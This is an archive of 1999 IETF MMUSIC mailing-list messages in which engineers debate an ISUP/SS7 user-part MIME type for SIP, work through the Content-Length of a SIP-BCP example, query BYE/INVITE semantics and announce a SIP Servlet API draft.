Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA


From confctrl-owner  Tue Sep 14 15:28:58 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA20736
	for confctrl-outgoing; Tue, 14 Sep 1999 15:28:58 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA20731
	for <confctrl@zephyr.isi.edu>; Tue, 14 Sep 1999 15:28:56 -0700 (PDT)
Received: from wellington.cnchost.com ([207.155.252.14])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA05482
	for <confctrl@ISI.EDU>; Tue, 14 Sep 1999 15:28:56 -0700 (PDT)
Received: from ericzlt01 ([205.158.54.162])
	by wellington.cnchost.com
	id SAA22349; Tue, 14 Sep 1999 18:24:48 -0400 (EDT)
	[ConcentricHost SMTP Relay 1.8]
Reply-To: <ericz@ipverse.com>
From: "Eric Zimmerer" <ericz@ipverse.com>
To: "'Mark Watson'" <mwatson@nortelnetworks.com>,
        "'Adam B. Roach'" <Adam.Roach@ericsson.com>
Cc: <confctrl@ISI.EDU>
Subject: RE: ISUP MIME type
Date: Tue, 14 Sep 1999 15:23:30 -0700
Message-ID: <005501befeff$c7418cb0$a301a8c7@ipverse.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
In-Reply-To: <61ABD11436FED21192440000F81F3E36012B6F3B@nwcwi1a.europe.nortel.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Mark,

Capturing the compatibility relationships between ISUP variants does not
seem to buy me anything.

If we assume that MGCs will exist in a service provider's network, then
there will be coordination that will enable interoperability/compatibility
using a limited number of variants.

In this case, a complete catalog of variants and relationships is overkill.

If this assumption is not valid, and MGCs exist in an environment similar to
hosts on the internet, (can you say chaos?) picking one ISUP variant and
"standardizing" on it makes the most sense to me.

In this case there is no need for a catalog of variants either.

Eric


-----Original Message-----
From: Mark Watson [mailto:mwatson@nortelnetworks.com]
Sent: Tuesday, September 14, 1999 2:37 AM
To: ericz@ipverse.com; 'Adam B. Roach'
Cc: confctrl@ISI.EDU
Subject: RE: ISUP MIME type


My proposal was just motivated by the desire to keep stuff like BT NUP out
of the IP network if at all possible. If you want to keep a list at your
originating MGC of the places to which it is 'safe' to send BT NUP, then by
all means go ahead - I don't want to do it but I'm not going to stop you.
So, I don't object to Adam's proposal of an application/ss7-userpart MIME
type or Eric's suggestion of an application/tup MIME type.

I'm afraid I have a pathelogical hatred of BT NUP which anyone else with
experience of this protocol will hopefully understand :-)

The main part of my comment was to suggest that we capture the compatibility
relationships between various ISUPs in the MIME parameters - what do you
think of that part ?

Regards,

Mark Watson
Nortel Networks

> ----------
> From: 	Adam B. Roach
> Sent: 	Monday, September 13, 1999 11:02 pm
> To: 	ericz@ipverse.com
> Cc: 	Watson, Mark [MOP:EP12-M:EXCH]; Adam.Roach@ericsson.com;
> confctrl@ISI.EDU
> Subject: 	Re: ISUP MIME type
>
> Eric> The scenario that Adam describes, where BT NUP is translated into
> Eric> ISUP, transported via IP and then translated back into BT NUP
> Eric> implies less-than-optimized interworking logic on the originating
> Eric> MGC.
>
> I beleive you missed my point altogether: my example was meant to
> highlight the fact that Mark Watson's current proposal specifies
> that BT NUP **can't** be transited across the IP network. Even if the
> MGC knows that the far end speaks BT NUP, Mark's messages imply that
> it **must** be translated to ISUP before encapsulation in a SIP message.
>
> Allow me to re-quote the exact section of Mark's message to which
> I was responding:
>
> Mark> When moving to IP technology, it does not make sense to perpetuate
> Mark> this legacy signalling within the IP network, when the level of
> Mark> services can be maintained with ISUP. There is therefore no need
> Mark> to carry protocols such as BT NUP...
>
> Eric> If the originating MGC knows the terminating MGC "speaks" BT NUP,
> Eric> then there is no need to translate it.
>
> I couldn't agree more. This is what I'd like to see: a draft that
> addresses transit of User Part messages in general, not just ISUP
> messages. Eric's draft appears to do this (although the name of
> "application/ISUP" is horribly misleading if it is allowed to transit
> TUP variants). What Mark has proposed in his "Comments on the proposed
> ISUP MIME type" explicitly does *not* allow this.
>
> Finally, to address one of your earlier comments: why would we want to
> go through the effort to define separate ISUP and TUP drafts, when
> they'll be doing the same thing? By defining an "application/ss7-userpart"
> draft, we do the work *once* for both.
>
> --
> Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS
> L-04
> adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081
> USA
>


From confctrl-owner  Tue Sep 14 15:51:43 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA21866
	for confctrl-outgoing; Tue, 14 Sep 1999 15:51:43 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA21861
	for <confctrl@zephyr.isi.edu>; Tue, 14 Sep 1999 15:51:41 -0700 (PDT)
Received: from l3mail02.level3.com (l3mail02.l3.com [209.119.32.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA08327
	for <confctrl@ISI.EDU>; Tue, 14 Sep 1999 15:51:41 -0700 (PDT)
From: Aparna.Vemuri@Level3.com
Received: by level3.com with Internet Mail Service (5.5.2448.0)
	id <STNCZBDQ>; Tue, 14 Sep 1999 16:50:45 -0600
Message-ID: <6DD3824BDF75D211930E0008C71EC92004096668@l3lsvlmail02.l3.com>
To: sardana@obsoft.com, confctrl@ISI.EDU, ericz@ipverse.com
Subject: RE: SIP - BCP Query
Date: Tue, 14 Sep 1999 16:46:06 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,

This is with regard to the Content-Length calculation in the SIP-BCP draft
draft-zimmerer-mmusic-sip-bcp-t-00.txt.
The method followed by us is explained below.
Comments are welcome. Any necessary changes will be incorporated in later
versions of this draft.

Aparna 


a) This is the example that we have used in the BCP draft. The number of
octets
     used in each line are shown at the end of each line in parenthesis.

                INVITE sip:13039263142@Den1.level3.com SIP/2.0
	From: sip:13034513355@den3.level3.com
	To: sip:13039263142@Den1.level3.com
	Call-ID: DEN1231999021712095500999@Den1.level3.com
	Content-Type: Application/ Multipart
	Content-Length: 327

                MIME-Version: 1.0(17)
	Content-Type: multipart/mixed; boundary=unique-boundary-1(57)

	--unique-boundary-1(19)
	Content-Type: application/SDP; charset=ISO-10646(49)

                v=0(3)
	o=ezimmerer 2890844526 2890842807 IN IP4 126.16.64.4(52)
	s=SDP seminar(13)
   	c=IN IP4 MG122.level3.com(25)
	t=2873397496 2873404696(23)
	m=audio 9092 RTP/AVP 0 3 4(26)

	--unique-boundary-1(19)
	Content-type:application/ISUP;version=ETSI1(44)
	Content-Transfer-Encoding: binary(34)

	89 8b 0e 95 1e 1e 1e 06 26 05 0d f5 01 06 10 04 00(17*2)

	--unique-boundary-1--(21)


b)  Rules used to calculate the Content-Length:
     b.1 Use 2 octets to encode the CRLF sequence at the end of each line
           and the beginning of a blank line.
     b.2 For the MIME header: each character maps onto one octet.
     b.3 For the SDP payload: each character maps onto one octet according
to UTF-8 encoding (RFC 2044) used as specified in the SIP-BCP.
     b.4 For the ISUP payload: self-explanatory.

c) Content-Length calculation:
     c.1 Number of octets in the ISUP payload (including the CRLF at the
end)
            =  34 + 2 = 36
     c.2 Number of octets in the MIME header for the ISUP payload (including
the CRLF at the end of each line)
            = 46+ 36
            = 82
     c.3 Number of octets in the SDP payload (including the CRLFs at the end
of each of the lines)
            = 5 + 54 + 15 + 27 + 25 + 28
            = 154
     c.4 Number of octets in the MIME header for the SDP payload (including
the CRLF at the end of the line)
            =51
     c.5 Number of octets in the MIME multi-part header
            = 19 + 59
            = 78
     c.6 Number of octets in the '--unique-boundary-1' string and newlines
used throughout:
             = 21 + 21 + 23 + 6*2 = 77
     c.7 The grand-total
             = 36 + 82 +154 + 51 + 78 + 77 = 478

Yes, the Content-Length in our example should be changed to 478.


Aparna V.
Level 3 Communications


-----Original Message-----
From: Bobby Sardana [mailto:sardana@obsoft.com]
Sent: Saturday, September 11, 1999 5:32 PM
To: confctrl@ISI.EDU; ericz@ipverse.com; sardana@obsoft.com
Subject: SIP - BCP Query


Greetings:

While in the process of updating our SIP grammar to be SIP-BCP
compliant, I was not able to determine the following:

a. The ISUP example, mentioned in section 2.2.1 of the
draft-ietf-mmusic-sip-bcp-t-00.txt, mentions an example of embedded IAM
message within the body of the SIP message. I was wondering if the
calculated Content-Length, mentioned as 327 is right? If it is, an
explanation of how it was calculated would help. I am aware of HTTP 1.1
Content-Length calculations and tried to apply it against the example
but still was unable to resolve the length to be anywhere near 327.

Thanks.

Bobby Sardana.
sardana@obsoft.com

From confctrl-owner  Tue Sep 14 16:26:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA23471
	for confctrl-outgoing; Tue, 14 Sep 1999 16:26:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA23466
	for <confctrl@zephyr.isi.edu>; Tue, 14 Sep 1999 16:26:05 -0700 (PDT)
Received: from ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA13999
	for <confctrl@ISI.EDU>; Tue, 14 Sep 1999 16:26:02 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4a.ericsson.com [198.215.127.160])
	by ericsson.com (8.9.3/8.9.3) with ESMTP id SAA20960;
	Tue, 14 Sep 1999 18:24:35 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id SAA17663;
	Tue, 14 Sep 1999 18:24:35 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id SAA08800; Tue, 14 Sep 1999 18:24:34 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id SAA03245;
	Tue, 14 Sep 1999 18:24:34 -0500 (CDT)
Message-Id: <199909142324.SAA03245@b04a24.exu.ericsson.se>
Subject: Re: ISUP MIME type
To: ericz@ipverse.com
Date: Tue, 14 Sep 1999 18:24:33 -0500 (CDT)
Cc: Adam.Roach@ericsson.com, confctrl@ISI.EDU
In-Reply-To: <005201befefd$0f94e5f0$a301a8c7@ipverse.com> from "Eric Zimmerer" at Sep 14, 99 03:04:04 pm
From: "Adam B. Roach" <Adam.Roach@ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>We decided not to include non-ISUP user parts in the draft.  I believe a
>well defined target is easier to hit.
>
>If you would like to target BT NUP, I will be happy to give you comments on
>your draft.

I doubt you would have many. Were I to produce such a draft, I
would do by loading yours into a text editor, performing a
search-and-replace to change "ISUP" to "BT-NUP," and adding my
name.

Which is precisely why I see no need for two (or more) documents.

--
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Wed Sep 15 01:20:54 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA16339
	for confctrl-outgoing; Wed, 15 Sep 1999 01:20:54 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA16334
	for <confctrl@zephyr.isi.edu>; Wed, 15 Sep 1999 01:20:53 -0700 (PDT)
Received: from hromeo.algonet.se (hromeo.algonet.se [194.213.74.10])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id BAA14940
	for <confctrl@ISI.EDU>; Wed, 15 Sep 1999 01:20:52 -0700 (PDT)
Received: (qmail 13077 invoked from network); 15 Sep 1999 10:20:48 +0200
Received: from kent.algonet.se (194.213.74.90)
  by hromeo.algonet.se with SMTP; 15 Sep 1999 10:20:48 +0200
Received: from du153-251.ppp.algonet.se ([195.100.251.153])
 by algonet.se (BLUETAIL Mail Robustifier1.0.4) with ESMTP
 ; Wed, 15 Sep 1999 08:20:47 GMT
Message-ID: <37DF56CB.5D7A0CEF@intertex.se>
Date: Wed, 15 Sep 1999 10:20:28 +0200
From: Lars Berggren <lars.berggren@intertex.se>
Organization: Intertex Data AB
X-Mailer: Mozilla 4.06C-Caldera [en] (X11; I; Linux 2.0.35 i686)
MIME-Version: 1.0
To: MMUSIC list <confctrl@ISI.EDU>
Subject: BYE terminating pending INVITE transaction
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi.

See
http://www.cs.columbia.edu/~hgs/sip/drafts/draft-ietf-mmusic-sip-new-00.pdf,
section 4.2.4.

"A BYE request from either called or calling party terminates any
pending INVITE,but the INVITE request transaction MUST be completed with
a final response."

This does not seem to match the state diagram for the INVITE method in
figure 13, if the server receives a BYE in the 'call proceeding' state.

Shouldn't there be a dedicated response code for this scenario, 487?

If a client sends a BYE to an INVITE that is pending, and the BYE
completes first, it waits for the INVITE transaction to complete. If it
completes with a 2xx status, how should the state of the call be
interpreted by the client? As I interpret SIP, the call is released due
to the fact that the BYE has a higher cseq value. The time of completion
is not of significance, right? Anyway, this scenario seems to be
unlikely to happen and the client will probably send another BYE after
it receives that 2xx response.

/Lars.

-- 
Lars Berggren       <lars.berggren@intertex.se>
Intertex Data AB    tel: +46-8-6282828
Sundbyberg, Sweden  fax: +46-8-6286414

From confctrl-owner  Wed Sep 15 04:41:35 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA22108
	for confctrl-outgoing; Wed, 15 Sep 1999 04:41:35 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA22103
	for <confctrl@zephyr.isi.edu>; Wed, 15 Sep 1999 04:41:34 -0700 (PDT)
Received: from tapti.hss.hns.com ([139.85.242.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA21770
	for <confctrl@isi.edu>; Wed, 15 Sep 1999 04:41:24 -0700 (PDT)
From: archow@hss.hns.com
Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.5])
	by tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id SAA18448
	for <confctrl@isi.edu>; Wed, 15 Sep 1999 18:38:29 +0530 (IST)
Received: by sampark.hss.hns.com(Lotus SMTP MTA SMTP v4.6 (462.2 9-3-1997))  id 652567ED.00402F96 ; Wed, 15 Sep 1999 17:11:04 +0530
X-Lotus-FromDomain: HSSBLR
To: confctrl@ISI.EDU
Message-ID: <652567ED.003F6794.00@sampark.hss.hns.com>
Date: Wed, 15 Sep 1999 17:11:02 +0530
Subject: "Accessing IN services from SIP" document
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,
Ive been trying to access the  "Accessing IN services from SIP"  document
by V.Gurbani from hgs' site for the past few days - it seems the link is
invalid.
Could anyone direct me to the correct link ?
Also is there any draft/paper which indicates a mapping from the IN CS-1
model into the SIP Call State FSM ?

A few weeks ago, someone also mentioned that there is a document available
(in preliminary stages) that outlines H323 to SIP mapping. I tried
accessing the site - but that too seems invalid :-(
Could anyone direct me to the correct link for that too ? :-)


Thx.
Regds
Arjun

--
Arjun Roychowdhury @ Hughes Software Systems
Off: Prestige Opal,146 Infantry Road,Blore - 560001  Ph:+91-080-2286390/1/2




From confctrl-owner  Wed Sep 15 05:17:08 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA23096
	for confctrl-outgoing; Wed, 15 Sep 1999 05:17:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA23090
	for <confctrl@zephyr.isi.edu>; Wed, 15 Sep 1999 05:17:05 -0700 (PDT)
Received: from qhars002.nortel.com (qhars002.NortelNetworks.com [192.100.101.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA22893
	for <confctrl@ISI.EDU>; Wed, 15 Sep 1999 05:17:04 -0700 (PDT)
Received: from zhard00m.europe.nortel.com (actually zhard00m) 
          by qhars002.nortel.com; Wed, 15 Sep 1999 13:14:46 +0100
Received: by zhard00m.europe.nortel.com with Internet Mail Service (5.5.2448.0) 
          id <RY1Y9NS8>; Wed, 15 Sep 1999 13:14:45 +0100
Message-ID: <61ABD11436FED21192440000F81F3E36012B6F4F@nwcwi1a.europe.nortel.com>
From: "Mark Watson" <mwatson@nortelnetworks.com>
To: "'Adam B. Roach'" <Adam.Roach@ericsson.com>, "'ericz'" <ericz@ipverse.com>
Cc: confctrl <confctrl@ISI.EDU>
Subject: RE: ISUP MIME type
Date: Wed, 15 Sep 1999 13:14:40 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain; charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Eric,

There is no need to 'catalog' all the variants because, as you say, people
can register them on a first-come, first served basis. However if I am on
the receiving end of a Martian ISUP message whose variant name I have never
heared of and do not explicitly support, there is surely value in also
receiving an indication that this is a variant of, say, ETSI ISUP v2, which
I do support.

If I know this, not only can I correctly understand 99% of the message, but
I know what to do with the other 1% of it because I will also receive
'compatibility instructions'. These will allow me to gracefully remove the
'Martian' aspects of the message and so send it onwards into any part of the
PSTN/ISDN which is also based on ETSI ISUP v2.

If you do not capture this information then you need explicit support for
every variant which you might encounter and you have the well-trodden
n-squared problem of mapping between them. I admit it might be possible to
store this information statically, but why bother with this management
hassel when it's easy to it dynamically.

So, this extra information buys you the ability to transport and *interwork*
new protocol variants with potentially zero or minimal software upgrades to
your MGCs.

Regards,

Mark Watson
Nortel Networks, UK


> ----------
> From: 	Eric Zimmerer
> Reply To: 	ericz
> Sent: 	Tuesday, September 14, 1999 11:23 pm
> To: 	Watson, Mark [MOP:EP12-M:EXCH]; 'Adam B. Roach'
> Cc: 	confctrl
> Subject: 	RE: ISUP MIME type
> 
> Mark,
> 
> Capturing the compatibility relationships between ISUP variants does not
> seem to buy me anything.
> 
> If we assume that MGCs will exist in a service provider's network, then
> there will be coordination that will enable interoperability/compatibility
> using a limited number of variants.
> 
> In this case, a complete catalog of variants and relationships is
> overkill.
> 
> If this assumption is not valid, and MGCs exist in an environment similar
> to
> hosts on the internet, (can you say chaos?) picking one ISUP variant and
> "standardizing" on it makes the most sense to me.
> 
> In this case there is no need for a catalog of variants either.
> 
> Eric
> 
> 
> -----Original Message-----
> From: Mark Watson [mailto:mwatson@nortelnetworks.com]
> Sent: Tuesday, September 14, 1999 2:37 AM
> To: ericz@ipverse.com; 'Adam B. Roach'
> Cc: confctrl@ISI.EDU
> Subject: RE: ISUP MIME type
> 
> 
> My proposal was just motivated by the desire to keep stuff like BT NUP out
> of the IP network if at all possible. If you want to keep a list at your
> originating MGC of the places to which it is 'safe' to send BT NUP, then
> by
> all means go ahead - I don't want to do it but I'm not going to stop you.
> So, I don't object to Adam's proposal of an application/ss7-userpart MIME
> type or Eric's suggestion of an application/tup MIME type.
> 
> I'm afraid I have a pathelogical hatred of BT NUP which anyone else with
> experience of this protocol will hopefully understand :-)
> 
> The main part of my comment was to suggest that we capture the
> compatibility
> relationships between various ISUPs in the MIME parameters - what do you
> think of that part ?
> 
> Regards,
> 
> Mark Watson
> Nortel Networks
> 
> > ----------
> > From: 	Adam B. Roach
> > Sent: 	Monday, September 13, 1999 11:02 pm
> > To: 	ericz@ipverse.com
> > Cc: 	Watson, Mark [MOP:EP12-M:EXCH]; Adam.Roach@ericsson.com;
> > confctrl@ISI.EDU
> > Subject: 	Re: ISUP MIME type
> >
> > Eric> The scenario that Adam describes, where BT NUP is translated into
> > Eric> ISUP, transported via IP and then translated back into BT NUP
> > Eric> implies less-than-optimized interworking logic on the originating
> > Eric> MGC.
> >
> > I beleive you missed my point altogether: my example was meant to
> > highlight the fact that Mark Watson's current proposal specifies
> > that BT NUP **can't** be transited across the IP network. Even if the
> > MGC knows that the far end speaks BT NUP, Mark's messages imply that
> > it **must** be translated to ISUP before encapsulation in a SIP message.
> >
> > Allow me to re-quote the exact section of Mark's message to which
> > I was responding:
> >
> > Mark> When moving to IP technology, it does not make sense to perpetuate
> > Mark> this legacy signalling within the IP network, when the level of
> > Mark> services can be maintained with ISUP. There is therefore no need
> > Mark> to carry protocols such as BT NUP...
> >
> > Eric> If the originating MGC knows the terminating MGC "speaks" BT NUP,
> > Eric> then there is no need to translate it.
> >
> > I couldn't agree more. This is what I'd like to see: a draft that
> > addresses transit of User Part messages in general, not just ISUP
> > messages. Eric's draft appears to do this (although the name of
> > "application/ISUP" is horribly misleading if it is allowed to transit
> > TUP variants). What Mark has proposed in his "Comments on the proposed
> > ISUP MIME type" explicitly does *not* allow this.
> >
> > Finally, to address one of your earlier comments: why would we want to
> > go through the effort to define separate ISUP and TUP drafts, when
> > they'll be doing the same thing? By defining an
> "application/ss7-userpart"
> > draft, we do the work *once* for both.
> >
> > --
> > Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS
> > L-04
> > adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081
> > USA
> >
> 
> 

From confctrl-owner  Wed Sep 15 05:49:41 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA24112
	for confctrl-outgoing; Wed, 15 Sep 1999 05:49:41 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA24107
	for <confctrl@zephyr.isi.edu>; Wed, 15 Sep 1999 05:49:39 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA23916
	for <confctrl@ISI.EDU>; Wed, 15 Sep 1999 05:49:38 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id IAA10383;
	Wed, 15 Sep 1999 08:49:36 -0400 (EDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id IAA09587;
	Wed, 15 Sep 1999 08:49:36 -0400 (EDT)
Message-ID: <37DF95D8.86970D6B@cs.columbia.edu>
Date: Wed, 15 Sep 1999 08:49:28 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.61 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: archow@hss.hns.com
CC: confctrl@ISI.EDU
Subject: Re: "Accessing IN services from SIP" document
References: <652567ED.003F6794.00@sampark.hss.hns.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

archow@hss.hns.com wrote:
> 
> Hi,
> Ive been trying to access the  "Accessing IN services from SIP"  document
> by V.Gurbani from hgs' site for the past few days - it seems the link is
> invalid.
> Could anyone direct me to the correct link ?

www.ietf.org or www.normos.org have Internet drafts. I fixed the link.

http://www.cs.columbia.edu/~hgs/sip/papers.html has a pointer to a paper
that discusses aspect of the mapping.

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Wed Sep 15 06:00:08 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA24508
	for confctrl-outgoing; Wed, 15 Sep 1999 06:00:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA24465
	for <confctrl@zephyr.isi.edu>; Wed, 15 Sep 1999 06:00:05 -0700 (PDT)
Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA24286
	for <confctrl@isi.edu>; Wed, 15 Sep 1999 06:00:00 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id IAA28882
	for <confctrl@isi.edu>; Wed, 15 Sep 1999 08:59:21 -0400 (EDT)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id NAA10588
	for <confctrl@isi.edu>; Wed, 15 Sep 1999 13:59:55 +0100 (BST)
Message-ID: <37DF9878.99A0979F@hplb.hpl.hp.com>
Date: Wed, 15 Sep 1999 14:00:40 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl <confctrl@ISI.EDU>
Subject: [Fwd: I-D ACTION:draft-kristensen-sip-servlet-00.txt]
Content-Type: multipart/mixed;
 boundary="------------99CCF19AAB26DCFAC7F5E6B4"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.
--------------99CCF19AAB26DCFAC7F5E6B4
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

As usual comments are welcome...

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK
--------------99CCF19AAB26DCFAC7F5E6B4
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2]) by steptoe.hpl.hp.com with ESMTP (8.7.6/8.7.3 TIS 5.0) id NAA08175 for <ak@steptoe.hpl.hp.com>; Wed, 15 Sep 1999 13:53:53 +0100 (BST)
Received: from hplb.hpl.hp.com (hplb.hpl.hp.com [15.255.59.2])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id NAA10416;
	Wed, 15 Sep 1999 13:53:52 +0100 (BST)
Received: from loki.ietf.org (loki.ietf.org [132.151.1.177])
	by hplb.hpl.hp.com (8.9.3/8.8.6 HPLabs Bristol Relay) with ESMTP id NAA11623;
	Wed, 15 Sep 1999 13:53:43 +0100 (BST)
Received: (from adm@localhost)
	by loki.ietf.org (8.9.1b+Sun/8.9.1) id HAA21073
	for ietf-123-outbound.03@ietf.org; Wed, 15 Sep 1999 07:05:00 -0400 (EDT)
Received: from ietf.org (odin.ietf.org [10.27.2.28])
	by loki.ietf.org (8.9.1b+Sun/8.9.1) with ESMTP id HAA21052
	for <all-ietf@loki.ietf.org>; Wed, 15 Sep 1999 07:02:47 -0400 (EDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA04077
	for <all-ietf@ietf.org>; Wed, 15 Sep 1999 07:02:47 -0400 (EDT)
Message-Id: <199909151102.HAA04077@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-kristensen-sip-servlet-00.txt
Date: Wed, 15 Sep 1999 07:02:47 -0400
Sender: nsyracus@cnri.reston.va.us
X-Mozilla-Status2: 00000000

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.


	Title		: The SIP Servlet API
	Author(s)	: A. Kristensen, A. Byttner
	Filename	: draft-kristensen-sip-servlet-00.txt
	Pages		: 26
	Date		: 14-Sep-99
	
This document proposes a Java extension API for SIP servers. It
allows SIP server functionality to be extended by associating
incoming requests and responses with SIP servlets - Java programs
which control the processing of SIP messages. The API is similar in
spirit to the servlet API used with Web servers.
Basing a SIP server extension mechanism on the notion of Java
servlets has a number of advantages, e.g. the ability to remain
stateful, low overhead, a typed API, a number of built-in security
mechanisms, as well as convenient access to a wide range of APIs,
e.g. directory services, databases, and the Java Media Framework.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-kristensen-sip-servlet-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-kristensen-sip-servlet-00.txt".

